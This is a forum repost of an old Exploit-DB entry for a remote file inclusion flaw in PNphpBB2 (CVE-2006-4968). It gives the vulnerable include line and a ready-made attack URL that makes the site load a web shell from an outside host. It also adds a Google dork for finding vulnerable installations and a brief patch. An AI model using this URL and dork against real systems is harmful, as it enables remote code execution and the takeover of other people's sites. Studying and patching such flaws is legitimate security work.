Exploit PNPHPBB2 < 1.2g - 'phpbb_root_path' Remote File Inclusion

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
2390
Проверка EDB
  1. Пройдено
Автор
AZZCODER
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2006-4968
Дата публикации
2006-09-18
Код:
Yeah, another ZeroDay Smile

Vendor: http://www.pnphpbb.com/

Vulnerable File: includes/functions_admin.php

Vulnerable Code:

//The phpbb_root_path isn't initialize

include_once( $phpbb_root_path . 'includes/functions.' . $phpEx );

Method To Use:

http://www.victim.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt?

How To Fix:

Add this code before the include
Code:
if ( !defined('IN_PHPBB') )
{
   die("Hacking attempt");
}


Google Dork: Powered by PNphpBB2 / Powered por PNphpBB2

# milw0rm.com [2006-09-18]
 
Источник
www.exploit-db.com

Похожие темы